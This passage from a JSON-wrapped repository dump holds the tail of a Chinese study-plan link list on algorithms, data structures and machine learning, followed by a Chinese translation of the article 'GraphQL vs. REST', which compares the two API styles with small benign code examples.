(pub-sub)](https://aws.amazon.com/sns/)\n    - [ ] [RabbitMQ](https://www.rabbitmq.com/)\n        - [入门教程](https://www.rabbitmq.com/getstarted.html)\n    - [ ] [Celery](http://www.celeryproject.org/)\n        - [Celery入门](http://docs.celeryproject.org/en/latest/getting-started/first-steps-with-celery.html)\n    - [ ] [ZeroMQ](http://zeromq.org/)\n        - [入门教程](http://zeromq.org/intro:read-the-manual)\n    - [ ] [ActiveMQ](http://activemq.apache.org/)\n    - [ ] [Kafka](http://kafka.apache.org/documentation.html#introduction)\n    - [ ] [MessagePack](http://msgpack.org/index.html)\n    - [ ] [Avro](https://avro.apache.org/)\n\n- ### 快速傅里叶变换\n    - [ ] [什么是傅立叶变换？论傅立叶变换的用途](http://www.askamathematician.com/2012/09/q-what-is-a-fourier-transform-what-is-it-used-for/)\n    - [ ] [什么是傅立叶变换？ (视频)](https://www.youtube.com/watch?v=Xxut2PN-V8Q)\n    - [ ] [关于 FFT 的不同观点 (视频)](https://www.youtube.com/watch?v=iTMn0Kt18tg&list=PLUl4u3cNGP6317WaSNfmCvGym2ucw3oGp&index=4)\n    - [ ] [FTT 是什么](http://jakevdp.github.io/blog/2013/08/28/understanding-the-fft/)\n\n- ### 布隆过滤器\n    - 给一个布隆过滤器m比特和k个哈希函数，所有的注入和相关测试都会是通过。\n    - [布隆过滤器](https://www.youtube.com/watch?v=-SuTGoFYjZs)\n    - [布隆过滤器 | 数据挖掘 | Stanford University](https://www.youtube.com/watch?v=qBTdukbzc78)\n    - [教程](http://billmill.org/bloomfilter-tutorial/)\n    - [如何写一个布隆过滤器应用](http://blog.michaelschmatz.com/2016/04/11/how-to-write-a-bloom-filter-cpp/)\n\n- ### van Emde Boas 树\n    - [ ] [争论: van Emde Boas 树 (视频)](https://www.youtube.com/watch?v=hmReJCupbNU&list=PLUl4u3cNGP6317WaSNfmCvGym2ucw3oGp&index=6)\n    - [ ] [MIT课堂笔记](https://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-046j-design-and-analysis-of-algorithms-spring-2012/lecture-notes/MIT6_046JS12_lec15.pdf)\n\n- ### 更深入的数据结构\n    - [ ] [CS 61B 第 39 课: 更深入的数据结构](https://youtu.be/zksIj9O8_jc?list=PL4BBB74C7D2A1049C&t=950)\n\n- ### 跳表\n    - \"有一种非常迷幻的数据类型\" - Skiena\n    - [ ] [随机化: 跳表 (视频)](https://www.youtube.com/watch?v=2g9OSRKJuzM&index=10&list=PLUl4u3cNGP6317WaSNfmCvGym2ucw3oGp)\n    - [ ] [更生动详细的解释](https://en.wikipedia.org/wiki/Skip_list)\n\n- ### 网络流\n    - [ ] [5分钟简析Ford-Fulkerson (视频)](https://www.youtube.com/watch?v=v1VgJmkEJW0)\n    - [ ] [Ford-Fulkerson 算法 (视频)](https://www.youtube.com/watch?v=v1VgJmkEJW0)\n    - [ ] [网络流 (视频)](https://www.youtube.com/watch?v=2vhN4Ice5jI)\n\n- ### 不相交集 & 联合查找\n    - [ ] [不相交集](https://en.wikipedia.org/wiki/Disjoint-set_data_structure)\n    - [ ] [UCB 61B - 不相交集; 排序 & 选择(视频)](https://www.youtube.com/watch?v=MAEGXTwmUsI&list=PL-XXv-cvA_iAlnI-BQr9hjqADPBtujFJd&index=21)\n    - [ ] Coursera (not needed since the above video explains it great):\n        - [ ] [概览](https://www.coursera.org/learn/data-structures/lecture/JssSY/overview)\n        - [ ] [初级实践](https://www.coursera.org/learn/data-structures/lecture/EM5D0/naive-implementations)\n        - [ ] [树状结构](https://www.coursera.org/learn/data-structures/lecture/Mxu0w/trees)\n        - [ ] [合并树状结构](https://www.coursera.org/learn/data-structures/lecture/qb4c2/union-by-rank)\n        - [ ] [路径压缩](https://www.coursera.org/learn/data-structures/lecture/Q9CVI/path-compression)\n        - [ ] [分析选项](https://www.coursera.org/learn/data-structures/lecture/GQQLN/analysis-optional)\n\n- ### 快速处理数学\n    - [ ] [整数运算, Karatsuba 乘法 (视频)](https://www.youtube.com/watch?v=eCaXlAaN2uE&index=11&list=PLUl4u3cNGP61Oq3tWYp6V_F-5jb5L2iHb)\n    - [ ] [中国剩余定理 (在密码学中的使用) (视频)](https://www.youtube.com/watch?v=ru7mWZJlRQg)\n\n- ### 树堆 (Treap)\n    - 一个二叉搜索树和一个堆的组合\n    - [ ] [树堆](https://en.wikipedia.org/wiki/Treap)\n    - [ ] [数据结构：树堆的讲解(video)](https://www.youtube.com/watch?v=6podLUYinH8)\n    - [ ] [集合操作的应用(Applications in set operations)](https://www.cs.cmu.edu/~scandal/papers/treaps-spaa98.pdf)\n\n- ### 线性规划（Linear Programming）（视频）\n    - [ ] [线性规划](https://www.youtube.com/watch?v=M4K6HYLHREQ)\n    - [ ] [寻找最小成本](https://www.youtube.com/watch?v=2ACJ9ewUC6U)\n    - [ ] [寻找最大值](https://www.youtube.com/watch?v=8AA_81xI3ik)\n\n- ### 几何：凸包（Geometry, Convex hull）（视频）\n    - [ ] [Graph Alg. IV: 几何算法介绍 - 第 9 课](https://youtu.be/XIAQRlNkJAw?list=PLFDnELG9dpVxQCxuD-9BSy2E7BWY3t5Sm&t=3164)\n    - [ ] [Graham & Jarvis: 几何算法 - 第 10 课](https://www.youtube.com/watch?v=J5aJEcOr6Eo&index=10&list=PLFDnELG9dpVxQCxuD-9BSy2E7BWY3t5Sm)\n    - [ ] [Divide & Conquer: 凸包, 中值查找](https://www.youtube.com/watch?v=EzeYI7p9MjU&list=PLUl4u3cNGP6317WaSNfmCvGym2ucw3oGp&index=2)\n\n- ### 离散数学\n    - 查看下面的视频：(这里没看到视频= =）\n\n- ### 机器学习（Machine Learning）\n    - [ ] 为什么学习机器学习？\n        - [ ] [谷歌如何将自己改造成一家「机器学习优先」公司？](https://backchannel.com/how-google-is-remaking-itself-as-a-machine-learning-first-company-ada63defcb70)\n        - [ ] [智能计算机系统的大规模深度学习 (视频)](https://www.youtube.com/watch?v=QSaZGT4-6EY)\n        - [ ] [Peter Norvig：深度学习和理解与软件工程和验证的对比](https://www.youtube.com/watch?v=X769cyzBNVw)\n    - [ ] [谷歌云机器学习工具（视频）](https://www.youtube.com/watch?v=Ja2hxBAwG_0)\n    - [ ] [谷歌开发者机器学习清单 (Scikit Learn 和 Tensorflow) (视频)](https://www.youtube.com/playlist?list=PLOU2XLYxmsIIuiBfYad6rFYQU_jL2ryal)\n    - [ ] [Tensorflow (视频)](https://www.youtube.com/watch?v=oZikw5k_2FM)\n    - [ ] [Tensorflow 教程](https://www.tensorflow.org/versions/r0.11/tutorials/index.html)\n    - [ ] [Python 实现神经网络实例教程（使用 Theano）](http://www.analyticsvidhya.com/blog/2016/04/neural-networks-python-theano/)\n    - 课程:\n        - [ ] [很棒的初级课程：机器学习](https://www.coursera.org/learn/machine-learning)\n              - [视频教程](https://www.youtube.com/playlist?list=PLZ9qNFMHZ-A4rycgrgOYma6zxF4BZGGPW)\n              - 看第 12-18 集复习线性代数（第 14 集和第 15 集是重复的）\n        - [ ] [机器学习中的神经网络](https://www.coursera.org/learn/neural-networks)\n        - [ ] [Google 深度学习微学位](https://www.udacity.com/course/deep-learning--ud730)\n        - [ ] [Google/Kaggle 机器学习工程师微学位](https://www.udacity.com/course/machine-learning-engineer-nanodegree-by-google--nd009)\n        - [ ] [无人驾驶工程师微学位](https://www.udacity.com/drive)\n        - [ ] [Metis 在线课程 (两个月 99 美元)](http://www.thisismetis.com/explore-data-science)\n    - 资源:\n        - 书籍: Data Science from Scratch: First Principles with Python: https://www.amazon.com/Data-Science-Scratch-Principles-Python/dp/149190142X\n        - 网站: Data School: http://www.dataschool.io/\n\n- ### Go 语言\n    - [ ] 视频:\n        - [ ] [为什么学习 Go 语言？](https://www.youtube.com/watch?v=FTl0tl9BGdc)\n        - [ ] [Go 语言编程](https://www.youtube.com/watch?v=CF9S4QZuV30)\n        - [ ] [Go 语言之旅](https://www.youtube.com/watch?v=ytEkHepK08c)\n    - [ ] 书籍:\n        - [ ] [Go 语言编程入门 (免费在线阅读)](https://www.golang-book.com/books/intro)\n        - [ ] [Go 语言圣经 (Donovan & Kernighan)](https://www.amazon.com/Programming-Language-Addison-Wesley-Professional-Computing/dp/0134190440)\n    - [ ] [Go 语言新手训练营](https://www.golang-book.com/guides/bootcamp)\n\n--\n\n## 一些主题的额外内容\n\n    我为前面提到的某些主题增加了一些额外的内容，之所以没有直接添加到前面，是因为这样很容易导致某个主题内容过多。毕竟你想在本世纪找到一份工作，对吧？\n\n- [ ] **动态规划的更多内容** (视频)\n    - [ ] [6.006: 动态规划 I: 斐波那契数列, 最短路径](https://www.youtube.com/watch?v=OQ5jsbhAv_M&list=PLUl4u3cNGP61Oq3tWYp6V_F-5jb5L2iHb&index=19)\n    - [ ] [6.006: 动态规划 II: 文本匹配, 二十一点/黑杰克](https://www.youtube.com/watch?v=ENyox7kNKeY&list=PLUl4u3cNGP61Oq3tWYp6V_F-5jb5L2iHb&index=20)\n    - [ ] [6.006: 动态规划 III: 最优加括号方式, 最小编辑距离, 背包问题](https://www.youtube.com/watch?v=ocZMDMZwhCY&list=PLUl4u3cNGP61Oq3tWYp6V_F-5jb5L2iHb&index=21)\n    - [ ] [6.006: 动态规划 IV: 吉他指法，拓扑，超级马里奥.](https://www.youtube.com/watch?v=tp4_UXaVyx8&index=22&list=PLUl4u3cNGP61Oq3tWYp6V_F-5jb5L2iHb)\n    - [ ] [6.046: 动态规划: 动态规划进阶](https://www.youtube.com/watch?v=Tw1k46ywN6E&index=14&list=PLUl4u3cNGP6317WaSNfmCvGym2ucw3oGp)\n    - [ ] [6.046: 动态规划: 所有点对最短路径](https://www.youtube.com/watch?v=NzgFUwOaoIw&list=PLUl4u3cNGP6317WaSNfmCvGym2ucw3oGp&index=15)\n    - [ ] [6.046: 动态规划: 更多示例](https://www.youtube.com/watch?v=krZI60lKPek&list=PLUl4u3cNGP6317WaSNfmCvGym2ucw3oGp&index=12)\n\n- [ ] **图形处理进阶** (视频)\n    - [ ] [异步分布式算法: 对称性破缺，最小生成树](https://www.youtube.com/watch?v=mUBmcbbJNf4&list=PLUl4u3cNGP6317WaSNfmCvGym2ucw3oGp&index=27)\n    - [ ] [异步分布式算法: 最小生成树](https://www.youtube.com/watch?v=kQ-UQAzcnzA&list=PLUl4u3cNGP6317WaSNfmCvGym2ucw3oGp&index=28)\n\n- [ ] MIT **概率论** (mathy, and go slowly, which is good for mathy things) (视频):\n    - [ ] [MIT 6.042J - 概率论概述](https://www.youtube.com/watch?v=SmFwFdESMHI&index=18&list=PLB7540DEDD482705B)\n    - [ ] [MIT 6.042J - 条件概率 Probability](https://www.youtube.com/watch?v=E6FbvM-FGZ8&index=19&list=PLB7540DEDD482705B)\n    - [ ] [MIT 6.042J - 独立](https://www.youtube.com/watch?v=l1BCv3qqW4A&index=20&list=PLB7540DEDD482705B)\n    - [ ] [MIT 6.042J - 随机变量](https://www.youtube.com/watch?v=MOfhhFaQdjw&list=PLB7540DEDD482705B&index=21)\n    - [ ] [MIT 6.042J - 期望 I](https://www.youtube.com/watch?v=gGlMSe7uEkA&index=22&list=PLB7540DEDD482705B)\n    - [ ] [MIT 6.042J - 期望 II](https://www.youtube.com/watch?v=oI9fMUqgfxY&index=23&list=PLB7540DEDD482705B)\n    - [ ] [MIT 6.042J - 大偏差](https://www.youtube.com/watch?v=q4mwO2qS2z4&index=24&list=PLB7540DEDD482705B)\n    - [ ] [MIT 6.042J - 随机游走](https://www.youtube.com/watch?v=56iFMY8QW2k&list=PLB7540DEDD482705B&index=25)\n\n- [ ] [Simonson: 近似算法 (视频)](https://www.youtube.com/watch?v=oDniZCmNmNw&list=PLFDnELG9dpVxQCxuD-9BSy2E7BWY3t5Sm&index=19)\n\n## 视频系列\n\n 坐下来享受一下吧。\"netflix and skill\" :P\n\n- [ ] [个人的动态规划问题列表 (都是短视频哟)](https://www.youtube.com/playlist?list=PLrmLmBdmIlpsHaNTPP_jHHDx_os9ItYXr)\n\n- [ ] [x86 架构，汇编，应用程序 (11 个视频)](https://www.youtube.com/playlist?list=PL038BE01D3BAEFDB0)\n\n- [ ] [MIT 18.06 线性代数，2005 年春季 (35 个视频)](https://www.youtube.com/playlist?list=PLE7DDD91010BC51F8)\n\n- [ ] [绝妙的 MIT 微积分：单变量微积分](https://www.youtube.com/playlist?list=PL3B08AE665AB9002A)\n\n- [ ] [计算机科学 70, 001 - 2015 年春季 - 离散数学和概率理论](https://www.youtube.com/playlist?list=PL-XXv-cvA_iD8wQm8U0gG_Z1uHjImKXFy)\n\n- [ ] [离散数学 (19 个视频)](https://www.youtube.com/playlist?list=PL3o9D4Dl2FJ9q0_gtFXPh_H4POI5dK0yG)\n\n- [ ] CSE373 - 算法分析 (25 个视频)\n    - [Skiena 的算法设计手册讲座](https://www.youtube.com/watch?v=ZFjhkohHdAA&list=PLOtl7M3yp-DV69F32zdK7YJcNXpTunF2b&index=1)\n\n- [ ] [UC Berkeley 61B (2014 年春季): 数据结构 (25 个视频)](https://www.youtube.com/watch?v=mFPmKGIrQs4&list=PL-XXv-cvA_iAlnI-BQr9hjqADPBtujFJd)\n\n- [ ] [UC Berkeley 61B (2006 年秋季): 数据结构 (39 个视频)]( https://www.youtube.com/playlist?list=PL4BBB74C7D2A1049C)\n\n- [ ] [UC Berkeley 61C: 计算机结构 (26 个视频)](https://www.youtube.com/watch?v=gJJeUFyuvvg&list=PL-XXv-cvA_iCl2-D-FS5mk0jFF6cYSJs_)\n\n- [ ] [OOSE: 使用 UML 和 Java 进行软件开发 (21 个视频)](https://www.youtube.com/playlist?list=PLJ9pm_Rc9HesnkwKlal_buSIHA-jTZMpO)\n\n- [ ] [UC Berkeley CS 152: 计算机结构和工程 (20 个视频)](https://www.youtube.com/watch?v=UH0QYvtP7Rk&index=20&list=PLkFD6_40KJIwEiwQx1dACXwh-2Fuo32qr)\n\n- [ ] [MIT 6.004: 计算结构 (49 视频)](https://www.youtube.com/playlist?list=PLrRW1w6CGAcXbMtDFj205vALOGmiRc82-)\n\n- [ ] [卡內基梅隆大学 - 计算机架构讲座 (39 个视频)](https://www.youtube.com/playlist?list=PL5PHm2jkkXmi5CxxI7b3JCL1TWybTDtKq)\n\n- [ ] [MIT 6.006: 算法介绍 (47 个视频)](https://www.youtube.com/watch?v=HtSuA80QTyo&list=PLUl4u3cNGP61Oq3tWYp6V_F-5jb5L2iHb&nohtml5=False)\n\n- [ ] [MIT 6.033: 计算机系统工程 (22 个视频)](https://www.youtube.com/watch?v=zm2VP0kHl1M&list=PL6535748F59DCA484)\n\n- [ ] [MIT 6.034 人工智能, 2010 年秋季 (30 个视频)](https://www.youtube.com/playlist?list=PLUl4u3cNGP63gFHB6xb-kVBiQHYe_4hSi)\n\n- [ ] [MIT 6.042J: 计算机科学数学, 2010 年秋季 (25 个视频)](https://www.youtube.com/watch?v=L3LMbpZIKhQ&list=PLB7540DEDD482705B)\n\n- [ ] [MIT 6.046: 算法设计与分析 (34 个视频)](https://www.youtube.com/watch?v=2P-yW7LQr08&list=PLUl4u3cNGP6317WaSNfmCvGym2ucw3oGp)\n\n- [ ] [MIT 6.050J: 信息和熵, 2008 年春季 (19 个视频)](https://www.youtube.com/watch?v=phxsQrZQupo&list=PL_2Bwul6T-A7OldmhGODImZL8KEVE38X7)\n\n- [ ] [MIT 6.851: 高等数据结构 (22 个视频)](https://www.youtube.com/watch?v=T0yzrZL1py0&list=PLUl4u3cNGP61hsJNdULdudlRL493b-XZf&index=1)\n\n- [ ] [MIT 6.854: 高等算法, 2016 年春季 (24 个视频)](https://www.youtube.com/playlist?list=PL6ogFv-ieghdoGKGg2Bik3Gl1glBTEu8c)\n\n- [ ] [MIT 6.858计算机系统安全, 2014 年秋季](https://www.youtube.com/watch?v=GqmQg-cszw4&index=1&list=PLUl4u3cNGP62K2DjQLRxDNRi0z2IRWnNh)\n\n- [ ] 斯坦福: 编程范例 (17 个视频)\n    - [C 和 C++ 课程](https://www.youtube.com/watch?v=jTSvthW34GU&list=PLC0B8B318B7394B6F&nohtml5=False)\n\n- [ ] [密码学导论](https://www.youtube.com/watch?v=2aHkqB2-46k&feature=youtu.be)\n    - [本系列更多内容 (不分先后顺序)](https://www.youtube.com/channel/UC1usFRN4LCMcfIV7UjHNuQg)\n\n- [ ] [大数据 - 斯坦福大学 (94 个视频)](https://www.youtube.com/playlist?list=PLLssT5z_DsK9JDLcT8T62VtzwyW9LNepV)\n\n## 计算机科学课程\n\n- [ 在线 CS 课程目录 ](https://github.com/open-source-society/computer-science)\n- [CS 课程目录 (一些是在线讲座)](https://github.com/prakhar1989/awesome-courses)\n"
  },
  {
    "path": "TODO/graphql-vs-rest.md",
    "content": "\n> * 原文地址：[GraphQL vs. REST](https://dev-blog.apollodata.com/graphql-vs-rest-5d425123e34b)\n> * 原文作者：[Sashko Stubailo](https://dev-blog.apollodata.com/@stubailo)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/graphql-vs-rest.md](https://github.com/xitu/gold-miner/blob/master/TODO/graphql-vs-rest.md)\n> * 译者：[wilsonandusa](https://github.com/wilsonandusa)\n> * 校对者：[DeadLion](https://github.com/DeadLion), [steinliber](https://github.com/steinliber)\n\n# GraphQL vs. REST\n\n## 两种通过 HTTP 发送数据的方式：区别在哪里？\n\nGraphQL 常常被认为是一种全新的 API 方式。你可以通过发送一次查询请求便获得所需要的数据，而不是通过服务器严格定义的请求终端。GraphQL 确实有这样的变革能力，一个团队在采用 GraphQL 后能够使得前端和后端的合作变得比之前更流畅。然而在实际操作中，两种技术都通过发送 HTTP 请求获取结果，而且 GraphQL 使用了 REST 模型中的很多内建元素\n\n那么从技术层面来讲它们的本质到底是什么？这两款 API 范例的相似处和区别都有哪些？我在文章最后将会声明 GraphQL 和 REST 的区别并不是很大，但 GraphQL 其本身的一些小的改变使得为开发和自定义一个 API 带来了巨大的区别。\n\n那么言归正传，我们会先指出 API 的一些性质，然后我们会讨论 GraphQL 和 REST 是如何处理它们的。\n\n### 资源\n\nREST 的核心理念就是资源。每个资源都由一个 URL 定义，然后通过向指定 URL发送 `GET` 请求来获取资源。目前大部分 API 会得到的一个 JSON 响应。这个请求和响应如下：\n\n    GET /books/1\n\n    {\n      \"title\": \"Black Hole Blues\",\n      \"author\": {\n        \"firstName\": \"Janna\",\n        \"lastName\": \"Levin\"\n      }\n      // ... more fields here\n    }\n\n**注意：在以上实例中，有的 REST APIs 会把 “author” 当成独立资源返回。**\n\n在 REST 中需要注意的是，资源的类型和你获取资源的方法是紧密相关的。当使用以上 REST 数据时，你可能会把它当成是 book 的一个终端。\n\nGraphQL 在这方面就相当不一样了，因为在 GraphQL 里这两个概念是完全分开的。在你的模版里可能会有 ‘Book’ 和 “author” 两种类型：\n\n    type Book {\n      id: ID\n      title: String\n      published: Date\n      price: String\n      author: Author\n    }\n\n    type Author {\n      id: ID\n      firstName: String\n      lastName: String\n      books: [Book]\n    }\n\n注意在这里我们对可获得的数据类型进行了描述，但这个描述并没有告诉你每个对象是如何从客户端获得的。这就是 REST 和 GraphQL 的核心区别之一 —— 对某一指定资源的描述不一定要和获取的方式相结合。\n\n如果想要真正得到到某一本书或者其作者的信息，我们需要在我们现有的模式中创造一个 ‘Query’ 类型：\n\n    type Query {\n      book(id: ID!): Book\n      author(id: ID!): Author\n    }\n\n现在我们可以发送一个类似于 REST 的请求，不过这次是使用 GraphQL：\n\n    GET /graphql?query={ book(id: \"1\") { title, author { firstName } } }\n\n    {\n      \"title\": \"Black Hole Blues\",\n      \"author\": {\n        \"firstName\": \"Janna\",\n      }\n    }\n\n很好，现在我们有成果了！即使双方都使用 URL 来发送请求并返回相同的 JSON 结构作为回应，我们还是能马上看出 GraphQL 和 REST 之间的区别。\n\n首先，我们能看出 GraphQL 查询的 URL 详细指出了我们所寻找的资源以及我们所关心的字段。而且 API 的使用者决定是否需要包括有关 ‘author’ 的资源，而不是由服务器端的代码来决定。\n\n但最重要的是，资源的身份以及 Book 和 Author 的概念和获取的方式无关。我们实际上可以使用多种不同的请求来获取同一本书的不同字段。\n\n#### 总结\n\n我们已经找到了一些相似和不同的地方：\n\n- **相同：** 都拥有资源这个概念，而且都可以指定资源的身份\n- **相同：** 都能通过 HTTP GET 和一个 URL 来获取信息\n- **相同：** 请求的返回值都是 JSON 数据\n- **不同：** 在 REST 中，你所访问的终端就是所需对象的身份，在 GraphQL 中，对象的身份和获取的方式是独立存在的\n- **不同：** 在 REST 中，资源的形式和大小是由服务器所决定的。在 GraphQL 中，服务器声明哪些资源可以获得，而客户端会对其所需资源作出请求。\n\n好吧，如果你之前使用过 GraphQL 和／或 REST的话这些看上去很基础。如果你之前没用过 GraphQL，你可以使用 Launchpad 来试试[这个实例](https://launchpad.graphql.com/1jzxrj179) 。这是一个用于在浏览器中创造和探索 GraphQL 实例的工具。\n\n### URL 路径 vs GraphQL 模版\n\n一款无法正确预测结果的 API 是没有实际用途的。当你使用一款 API 的时候，大部分情况下会把它当做程序的某一部分去使用它，这款程序会知道可以调用什么 API，以及 API 的结果是什么。这样程序才能运用好 API 返回的结果。\n\n所以一款 API 最重要的一个特点就是去描述它到底能得到什么。你在读 API 文档的时候恰恰就是为了了解这些。现在通过使用 GraphQL 的内部描述特点或者使用类似 Swagger 这种适用于 REST 模板系统的工具，我们可以采用编程的方式来获取这方面的信息。\n\n目前的 REST API 通常被形容为一连串的端点：\n\n    GET /books/:id\n    GET /authors/:id\n    GET /books/:id/comments\n    POST /books/:id/comments\n\n所以你可以将此 API 的“形态”描述为线性 —— 因为你可以接触一连串的信息。当你想要获取或者存储信息的时候，最先想到的问题就是“我应该使用哪一个终端”？\n\n而在 GraphQL 中，就像我们之前提到的，你并不是使用一系列 URL 来验证 API 可以获得有哪些信息，而是使用 GraphQL 的模板：\n\n    type Query {\n      book(id: ID!): Book\n      author(id: ID!): Author\n    }\n\n    type Mutation {\n      addComment(input: AddCommentInput): Comment\n    }\n\n    type Book { ... }\n    type Author { ... }\n    type Comment { ... }\n    input AddCommentInput { ... }\n\n将它和 REST 中请求相同数据集的请求路径做对比时，有几点有趣的地方。首先，在区分读取和写入时，GraphQL 使用的是 Mutation 和 Query 这两种不同的初始类型，而不是通过对同一 URL 发送两种不同的 HTTP 术语。在 GraphQL 文档中，你可以使用关键字来选择你所发送的操作：\n\n    query { ... }\n    mutation { ... }\n\n如果想要了解更多有关查询语言的细节，请阅读我之前写的文章， [**“对 GraphQL 查询的分析”。**](https://dev-blog.apollodata.com/the-anatomy-of-a-graphql-query-6dffa9e9e747)\n\n你可以看出 Query 类型中的字段和我们之前所写的 REST 路径正好重合。这是因为此类型是我们数据的切入点，所以这在 GraphQL 中是和终端 URL 几乎相同的一个概念。\n\n你从 GraphQL API 中获取最初资源的方式和使用 REST 的方法类似 —— 都是通过传递一个名字和一些参数 —— 但最大的不同之处是在这之后你会做什么。你可以用 GraphQL 发送一个复杂的请求并通过与模板之间的关系来获取额外的数据。但在 REST 中，你需要通过发送多个请求来使用相关数据去构造最初的回应，或者在 URL 中包含特殊参数来修改响应的结果。\n\n#### 结论\n\n在 REST 中，可获得数据的空间是由一系列线性的终端来描述的，而在 GraphQL 中是通过使用有关联的模板：\n\n- **相同：** REST API 中的一列终端和 GraphQL API 中的 Query 和 Mutation 类的字段很像，都是数据的切入点。\n- **相同：** 两种 API 都可以区分数据的读取和写入。\n- **不同：** 在 GraphQL 中，你可以使用由模板定义的关系，通过发送一次请求从初始点一直走到相关数据。然而在 REST 中，你必须要使用多个终端来获取相关资源。\n- **不同：** 在 GraphQL 中，除了在每个请求的根源处所能获取的类型都是 Query 类外，Query 的字段和其他类的字段没有本质区别。比方说，你可以在 Query 的每个字段里放一个参数。而在 REST 中，嵌套的URL里没有第一类这个概念。\n- **不同：** 在 REST 中，你通过将 HTTP 术语 GET 改为 POST 来指定写入，但在 GraphQL 里需要改变请求里的关键字\n\n由于第一个相似点，很多人把 GraphQL 的 Query 类中的字段当作“终端”或者“请求”。虽然这的确是一个合理的比较，但这种理解可能会误导别人认为 Query 类和其他类的工作方式不同，这种理解是错误的。\n\n### 路径处理器 vs Resolvers\n\n当你调用一款 API 的时候到底发生了什么？通常情况下 API 会在服务器端收到请求后执行一段代码。这类代码可能会进行计算，也可能是从数据库中加载数据，甚至会使用另一款 API 或做其他事。重要的是你不需要了解它在内部到底做了了什么。不过 REST 和 GraphQL 这两款 API 都具备非常标准化的内部执行方式，通过比较它们内部的执行区别，我们可以找出这两款 API 基础层面的不同点。\n\n在接下来的对比中我会使用 JavaScript，因为这是我最熟悉的语言。不过你当然可以用其他语言去实现 REST 或者 GraphQL。我会省略设置服务器的步骤，因为这不是重点。\n\n来看看这个用 experss 写的 hello world 例子，express 是 Node 里很火的 API库 之一。\n\n    app.get('/hello', function (req, res) {\n      res.send('Hello World!')\n    })\n\n我们首先创建了一个能够返回hello world字串符的／hello 终端。通过这个例子中我们可以得知使用 REST API 来写服务器时一个 HTTP 请求的生命周期：\n\n1. 服务器接收请求并解析 HTTP 术语 （这个例子中术语为 ‘GET’）和其 URL\n2. API  库将术语和路径相结合并在服务器代码中找到与之相匹配的函数\n3. 函数运行并返回结果\n4. API 库将结果序列化与响应代码和数据头相结合，最终发送给客户端\n\nGraphQL 的工作方式极为相似，对于同一个 [hello world](https://launchpad.graphql.com/new) 的例子来说两者几乎相同：\n\n    const resolvers = {\n      Query: {\n        hello: () => {\n          return 'Hello world!';\n        },\n      },\n    };\n\n就像你所看到的，我们将函数和一个类别中的字段相呼应，为指定的 URL 提供一个处理函数。在这个例子中，‘hello’ 是 ‘Query’ 中的一个字段。在 GraphQL 中，这种对字段进行操作的函数被称为 **resolver**。\n\n我们需要用 Query 来发送请求：\n\n    query {\n      hello\n    }\n\n当服务器接收到 GraphQL 的请求会执行以下步骤：\n\n1. 服务器接收请求并开始解析 GraphQL 的请求\n2. 此 Query 的每个字段会被仔细分析来找出有哪些 resolver 函数会被使用\n3. 函数运行并返回结果\n4. GraphQL 库和服务器将返回结果和回应相结合，最终得到和 Query 形态相匹配的结果\n\n所以你最终得到的结果为：\n\n    { \"hello\": \"Hello, world!\" }\n\n但这里有个小技巧，我们实际上可以连续访问字段两次！\n\n    query {\n      hello\n      secondHello: hello\n    }\n\n在这个例子中出现了相同的生命周期，但由于我们使用化名对同一个字段发送了两次请求，hello 的 resolver 实际上被使用了**两次**。这个例子很牵强，但重点是我们可以对同一请求中对多个字段进行操作，而且在一个 query 中我们也可以对单个字段进行多次使用。\n\n为了进行补充，以下是一个嵌套在一起的 resolvers 例子：\n\n    {\n      Query: {\n        author: (root, { id }) => find(authors, { id: id }),\n      },\n      Author: {\n        posts: (author) => filter(posts, { authorId: author.id }),\n      },\n    }\n\n这些 resolvers 可以用来对 query 进行补充：\n\n    query {\n      author(id: 1) {\n        firstName\n        posts {\n          title\n        }\n      }\n    }\n\n所以即使这些 resolvers 是平级的，由于它们可以和多种类型相结合，你可以在嵌套的 query 里将这些 resolvers 连在一起使用。如果想了解 GraphQL 是如何执行工作的，请阅读以下文章[“详解 Graph QL”](https://dev-blog.apollodata.com/graphql-explained-5844742f195e)。\n\n[**来看看如何使用完整的例子配合不同的请求来进行测试！**](https://launchpad.graphql.com/1jzxrj179)\n\n![](https://cdn-images-1.medium.com/max/1600/1*qpyJSVVPkd5c6ItMmivnYg.png)\n\n图解：对资源进行获取的 REST 多次请求 vs GraphQL 的一次请求\n#### 结论\n\n最终我们可以得知，REST 和 GraphQL API 都可以在网络中通过不同方式使用函数。如果你对如何搭建 REST API 很熟悉，那么使用 GraphQL API 应该不会很不一样。不过 GraphQL 有很大的优势，因为你可以使用它去执行多个相关函数，而且全程不需要多次请求往返。\n\n- **相同：** REST的终端和 GraphQL 的字段都会在服务器端运行函数\n- **相同：** 两者本质上都需要依靠框架和库来使用和处理网络模板。\n- **不同：** 在 REST 中，每次请求通常只使用一个路径处理函数。在 GraphQL 中，同一 Query 可以使用多个 resolver 来使用多个资源创造嵌套在一起的回应。\n- **不同：** 在 REST 中，你可以自己创造每个回应的形式。在 GraphQL 中，回应的模式通过 GraphQL 的执行库来与请求的形式相匹配。\n\n总而言之，你可以将 GraphQL 当成是可以在一次请求里执行多个终端的系统，就像是重复使用的 REST。\n\n---\n\n### 这些意味着什么？\n\n我们无法在此文章中对所有细节做出诠释，比如对象识别、超媒体以及缓存。我以后可能会再讨论这些问题，但我想让你明白的是，通过了解 API 的基本知识点可得知，REST 和 GraphQL 工作时所使用的基础观念是十分相似的。\n\n我觉得两者之间的区别反而成为了 GraphQL 的优势。特别是给予使用者构建多个 resolver 函数的功能非常炫酷，而且也可以发送一个复杂的请求来一次性得到多种资源，整个过程是可预测的。这个特点避免了 API 的使用者为了构建某个回应形式而去使用多个终端，同时也避免了处理额外不需要的数据。\n\n然而，GraphQL 目前还没有 REST 那么多的工具和扩展。比方说，你无法对 GraphQL 的结果使用 HTTP 的缓存方式。但目前社区方面正在努力打造更好的工具和框架，而且你可以使用类似 [Apollo client](http://dev.apollodata.com/) 和  [Relay](https://facebook.github.io/relay/) 这类缓存工具。\n\n如果有更多有关对比 REST 和 GraphQL 的想法，请积极留言！\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 